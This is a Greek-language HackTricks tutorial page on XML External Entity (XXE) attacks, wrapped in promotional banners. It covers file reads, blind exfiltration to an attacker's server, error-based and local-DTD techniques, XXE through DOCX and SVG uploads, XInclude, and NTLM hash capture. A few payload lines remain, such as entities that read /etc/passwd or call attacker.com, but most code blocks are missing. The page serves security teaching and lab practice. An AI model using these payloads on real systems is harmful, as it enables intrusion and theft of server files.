<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
*Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για την αποθήκευση και μεταφορά δεδομένων, παρουσιάζοντας μια ευέλικτη δομή που επιτρέπει τη χρήση ετικετών με περιγραφικά ονόματα. Διαφέρει από το HTML διότι δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
* **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `<` και `>`, που αντιστοιχούν σε `<` και `>`γιανα αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML.
* **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς πρέπει να δομηθούν τα στοιχεία και ποιο περιεχόμενο μπορούν να περιέχουν, κυμαίνοντας από οποιοδήποτε είδος περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
* **Ορισμός Κανονισμού Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορεί να είναι εσωτερικά, εξωτερικά ή συνδυασμένα, καθοδηγώντας τον τρόπο μορφοποίησης και επικύρωσης των εγγράφων.
* **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων μέσα σε ένα DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, οριζόμενες με ένα URL, προκαλούν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο των επιθέσεων Εξωτερικών Οντοτήτων XML (XXE), οι οποίες εκμεταλλεύονται τον τρόπο με τον οποίο οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή αιτήσεων HTTP σε έναν ελεγχόμενο τομέα, για την επιβεβαίωση της ευπάθειας.
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
[**Οι περισσότερες από αυτές τις επιθέσεις δοκιμάστηκαν χρησιμοποιώντας τα εκπληκτικά εργαστήρια XEE της Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
Ας προσπαθήσουμε να διαβάσουμε το `/etc/passwd` με διαφορετικούς τρόπους. Για τα Windows μπορείτε να δοκιμάσετε να διαβάσετε: `C:\windows\system32\drivers\etc\hosts`
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου εάν ο διακομιστής web χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων της Portswiggers)
Σε εφαρμογές βασισμένες σε **Java**, ενδέχεται να είναι δυνατή η **καταχώριση των περιεχομένων ενός καταλόγου** μέσω XXE με ένα φορτίο όπως (απλά ζητώντας τον κατάλογο αντί για το αρχείο):
Χρησιμοποιώντας την **προηγούμενα σχολιασμένη τεχνική** μπορείτε να κάνετε τον διακομιστή να έχει πρόσβαση σε έναν διακομιστή που ελέγχετε γιανα εμφανίσει την ευπάθειά του. Αλλά, αν αυτό δεν λειτουργεί, ίσως είναι επειδή **δεν επιτρέπονται τα XML entities**, σε αυτήν την περίπτωση θα μπορούσατε να δοκιμάσετε να χρησιμοποιήσετε **XML παραμετρικά entities**:
**Σε αυτήν την περίπτωση θα κάνουμε τον εξυπηρετητή να φορτώσει ένα νέο DTD με ένα κακόβουλο φορτίο που θα στείλει το περιεχόμενο ενός αρχείου μέσω αιτήματος HTTP (**για πολλαπλές γραμμές αρχείων μπορείτε να δοκιμάσετε να το εξορύξετε μέσω** _**ftp://**_**χρησιμοποιώντας αυτόν τον βασικό εξυπηρετητή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται στο** [**εργαστήριο της Portswigger εδώ**](https://portswigger.net/web-security/xxe/blind)**.**
* Δημιουργείται μια οντότητα παραμέτρου XML, `%file`, που διαβάζει το περιεχόμενο του αρχείου `/etc/hostname`.
* Δημιουργείται μια άλλη οντότητα παραμέτρου XML, `%eval`. Δηλώνει δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ορίζεται να κάνει ένα αίτημα HTTP προς τον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` στη συμβολοσειρά ερωτήματος του URL.
Αυτό το φορτίο ορίζει ένα παράμετρο οντότητας XML `%xxe` και τον ενσωματώνει στο DTD. Όταν επεξεργάζεται από έναν αναλυτή XML, αυτό το φορτίο ανακτά το εξωτερικό DTD από τον διακομιστή του επιτιθέμενου. Στη συνέχεια, ο αναλυτής ερμηνεύει το DTD ενσωματωμένα, εκτελώντας τα βήματα που περιγράφονται στο κακόβουλο DTD και οδηγώντας στην εξαγωγή του αρχείου `/etc/hostname` στον διακομιστή του επιτιθέμενου.
**Σε αυτήν την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό ισχύει μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
Ένα μήνυμα σφάλματος ανάλυσης XML, αποκαλύπτοντας το περιεχόμενο του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Ορισμό Τύπου Εγγράφου (DTD). Αυτό επιτυγχάνεται μέσω των ακόλουθων βημάτων:
1. Ορίζεται μια παράμετρος οντότητας XML με το όνομα `file`, η οποία περιέχει το περιεχόμενο του αρχείου `/etc/passwd`.
2. Ορίζεται μια παράμετρος οντότητας XML με το όνομα `eval`, ενσωματώνοντας μια δυναμική δήλωση για μια άλλη παράμετρο οντότητας XML με το όνομα `error`. Αυτή η οντότητα `error`, όταν αξιολογηθεί, προσπαθεί να φορτώσει ένα μη υπαρκτό αρχείο, ενσωματώνοντας το περιεχόμενο της οντότητας `file` ως όνομά της.
3.Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`.
4.Η κλήση της οντότητας `error` οδηγεί σε μια προσπάθεια φόρτωσης ενός μη υπαρκτού αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει το περιεχόμενο του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου.
Μια κενή στην προδιαγραφή της γλώσσας XML μπορεί να**αποκαλύψει ευαίσθητα δεδομένα μέσω μηνυμάτων σφαλμάτων όταν η DTD ενός εγγράφου αναμειγνύει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το θέμα επιτρέπει την εσωτερική επανορισμό των οντοτήτων που έχουν δηλωθεί εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την επανορισμό μιας οντότητας παραμέτρου XML, η οποία αρχικά έχει δηλωθεί σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός-ορίων συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD γιανα πραγματοποιήσουν την επίθεση, με στόχο την πρόκληση ενός σφάλματος ανάλυσης για την αποκάλυψη ευαίσθητων πληροφοριών.
Ας υποθέσουμε ένα σενάριο όπου το σύστημα αρχείων του διακομιστή περιέχει ένα αρχείο DTD στο `/usr/local/app/schema.dtd`, που ορίζει μια οντότητα με το όνομα `custom_entity`. Ένας επιτιθέμενος μπορεί να προκαλέσει ένα σφάλμα ανάλυσης XML αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd`, υποβάλλοντας ένα υβριδικό DTD ως εξής:
*Ο ορισμός ενός XML παραμετρικού ονόματος οντότητας με το όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.
*Μια επανορισμός συμβαίνει για την XML παραμετρική οντότητα `custom_entity`, που αρχικά ορίζεται στο εξωτερικό DTD, γιανα ενθυλακώσει ένα [εκμεταλλευόμενο XXE exploit βασισμένο σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επανορισμένη ορισμός σχεδιάζεται να προκαλέσει ένα σφάλμα ανάλυσης, αποκαλύπτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
* Χρησιμοποιώντας την οντότητα `local_dtd`, το εξωτερικό DTD εμπλέκεται, περικλείοντας τη νεοορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που στοχεύει το exploit.
**Πραγματικό παράδειγμα:** Συστήματα που χρησιμοποιούν το περιβάλλον εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`.
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε **εγκαθιστώντας** το ίδιο **OS / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **ψάχνοντας μερικά προεπιλεγμένα DTDs**, ή **ανακτώντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα στα συστήματα και **ελέγχοντας**αν υπάρχει κάποιο από αυτά:
Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο από το ίδιο αποθετήριο γιανα**σαρώσετε** την **εικόνα** και **να βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) γιανα μάθετε πώς.
Για μια πιο λεπτομερή εξήγηση αυτής της επίθεσης, **ελέγξτε τη δεύτερη ενότητα του** [**αυτού του εκπληκτικού άρθρου**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **από τη Detectify**.
Η δυνατότητα **ανέβασμας εγγράφων Microsoft Office προσφέρεται από πολλές web εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή συγκεκριμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια web εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα φύλλο εργασίας σε μορφή XLSX. Προκειμένου ο αναλυτής να εξάγει τα δεδομένα από το φύλλο εργασίας, αναγκαστικά θα χρειαστεί να αναλύσει τουλάχιστον ένα αρχείο XML.
Για να δοκιμάσετε αυτήν την ευπάθεια, είναι απαραίτητο να δημιουργήσετε ένα **αρχείο Microsoft Office που περιέχει ένα φορτίο XXE**. Το πρώτο βήμα είναι να δημιουργήσετε έναν κενό κατάλογο στον οποίο το έγγραφο μπορεί να αποσυμπιεστεί.
Αφού το έγγραφο έχει αποσυμπιεστεί, το αρχείο XML που βρίσκεται στη διαδρομή `./unzipped/word/document.xml` πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό φορτίο XXE, συχνά ξεκινώντας με ένα αίτημα HTTP.
Οι τροποποιημένες γραμμές XML πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικατασταθεί ο URL με έναν URL που μπορεί να παρακολουθηθεί για αιτήσεις.
Τέλος, το αρχείο μπορεί να συμπιεστεί γιανα δημιουργηθεί το κακόβουλο αρχείο poc.docx. Από τον προηγουμένως δημιουργημένο κατάλογο "unzipped", πρέπει να εκτελεστεί η ακόλουθη εντολή:
Τώρα, το δημιουργημένο αρχείο μπορεί να ανέβει στην πιθανώς ευάλωτη web εφαρμογή, και κάποιος μπορεί να ελπίζει για ένα αίτημα να εμφανιστεί στα αρχεία καταγραφής του Burp Collaborator.
Το πρωτόκολλο **jar** είναι προσβάσιμο αποκλειστικά μέσα σε **εφαρμογές Java**. Σχεδιάστηκε γιανα επιτρέπει την πρόσβαση σε αρχεία εντός ενός αρχείου **PKZIP** (π.χ., `.zip`, `.jar`, κλπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία.
Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση του XXE μέσω αρχείων συστήματος DTD.** Ελέγξτε [αυτή την ενότητα γιανα μάθετε πώς να καταχραστείτε αρχεία συστήματος DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Μια ενδιαφέρουσα τεχνική γιανα διακόψετε αυτήν τη διαδικασία στο δεύτερο βήμα περιλαμβάνει τη διατήρηση της σύνδεσης του διακομιστή ανοιχτή για αόριστο χρονικό διάστημα κατά την παροχή του αρχείου αρχείου. Εργαλεία που είναι διαθέσιμα στο [αποθετήριο αυτό](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) μπορούν να χρησιμοποιηθούν για αυτόν τον σκοπό, συμπεριλαμβανομένου ενός διακομιστή Python (`slow_http_server.py`) και ενός διακομιστή Java (`slowserver.jar`).
Η εγγραφή αρχείων σε έναν προσωρινό κατάλογο μπορεί να βοηθήσει στην **επιδείνωση μιας άλλης ευπάθειας που σχετίζεται με μετάβαση διαδρομής** (όπως τοπική συμπερίληψη αρχείου, ενσωμάτωση προτύπου, XSLT RCE, απεικονισμός, κλπ).
Σε υπολογιστές με λειτουργικό σύστημα Windows είναι δυνατή η απόκτηση του hash NTML του χρήστη του web server με την ρύθμιση ενός χειριστή responder.py:
Κατά την ενσωμάτωση δεδομένων πελάτη σε εγγράφους XML στην πλευρά του διακομιστή, όπως αυτούς σε αιτήσεις SOAP στο backend, ο άμεσος έλεγχος της δομής XML συχνά περιορίζεται, δυσχεραίνοντας τις παραδοσιακές επιθέσεις XXE λόγω περιορισμών στην τροποποίηση του στοιχείου `DOCTYPE`. Ωστόσο, μια επίθεση `XInclude` παρέχει μια λύση επιτρέποντας την εισαγωγή εξωτερικών οντοτήτων εντός οποιουδήποτε στοιχείου δεδομένων του εγγράφου XML. Αυτή η μέθοδος είναι αποτελεσματική ακόμα και όταν μόνο ένα τμήμα των δεδομένων εντός ενός εγγράφου XML που δημιουργήθηκε από τον διακομιστή μπορεί να ελεγχθεί.
Για την εκτέλεση μιας επίθεσης `XInclude`, πρέπει να δηλωθεί το namespace του `XInclude` και να καθοριστεί η διαδρομή του αρχείου για την επιθυμητή εξωτερική οντότητα. Παρακάτω παρουσιάζεται ένα συνοπτικό παράδειγμα πώς μια τέτοια επίθεση μπορεί να διαμορφωθεί:
Τα αρχεία που μεταφορτώνονται από χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο με τον οποίο χειρίζονται τα αρχεία XML ή αρχεία που περιέχουν XML. Δημοφιλής μορφές αρχείων όπως εγγράφα (DOCX) και εικόνες (SVG) βασίζονται στο XML.
Όταν οι χρήστες **μεταφορτώνουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται στον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνων του διακομιστή ενδέχεται να υποστηρίζει επίσης εικόνες SVG**. Το SVG, καθώς είναι μια μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους γιανα υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
Και στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται γιανα εκτελέσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για αξιόπιστο έλεγχο εισόδου και μέτρα ασφαλείας.
**Σημείωση: Η πρώτη γραμμή του αρχείου που διαβάζετε ή του αποτελέσματος της εκτέλεσης θα εμφανιστεί ΜΕΣΑ στη δημιουργημένη εικόνα. Έτσι, πρέπει να μπορείτε να έχετε πρόσβαση στην εικόνα που δημιούργησε το SVG.**
Αν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, μπορείτε να δοκιμάσετε να εκμεταλλευτείτε ένα XXE σε αυτό το αίτημα. Για παράδειγμα, αν ένα κανονικό αίτημα περιέχει τα ακόλουθα:
Για να αλλάξετε το αίτημα μπορείτε να χρησιμοποιήσετε μια επέκταση του Burp με το όνομα "**Content Type Converter**". [Εδώ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) μπορείτε να βρείτε αυτό το παράδειγμα:
Μπορείτε να χρησιμοποιήσετε την \[**"Συνταγή Κωδικοποίησης**" του cyberchef εδώ ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) μετατροπή σε UTF-7.
Εάν η ιστοσελίδα χρησιμοποιεί PHP, αντί να χρησιμοποιείτε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=`γιανα**έχετε πρόσβαση σε εσωτερικά αρχεία**.
Κόλπος από το [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια άλλη οντότητα** κωδικοποιώντας τη με **οντότητες html** και στη συνέχεια να την καλέσετε γιανα**φορτώσετε ένα dtd**.\
Σημειώστε ότι οι**Οντότητες HTML** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
Αυτό το παράδειγμα είναι εμπνευσμένο από [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
Το XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι ένας μορφότυπος βασισμένος σε XML που χρησιμοποιείται κυρίως για τη μεταφορά δεδομένων που μπορούν να τοπικοποιηθούν μεταξύ εργαλείων κατά τη διαδικασία τοπικοποίησης και ως ένα κοινό μορφότυπο ανταλλαγής για εργαλεία CAT (Computer-Aided Translation).
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένα περιορισμένο σημείο με αυτήν την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα νέας γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band.
Εξαγωγή Δεδομένων Με Βάση Σφάλματα Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση βασισμένη σε σφάλματα. Το αρχείο DTD έχει την ακόλουθη δομή γιανα προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο:
Ο διακομιστής ανταποκρίνεται με ένα σφάλμα, υποδεικνύοντας σημαντικά το μη υπαρκτό αρχείο, υποδεικνύοντας ότι ο διακομιστής προσπαθεί να έχει πρόσβαση στο συγκεκριμένο αρχείο:
Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, όπως αντανακλάται στην έξοδο σφάλματος που στέλνεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τεχνικές Out of Band και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών.
Το XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Αν ένας κακόβουλος χρήστης μπορεί να πείσει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε ένα κάλεσμα στη μέθοδο **readObject**, τότε θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή.
* Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας το δικό μας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
*Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να**κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.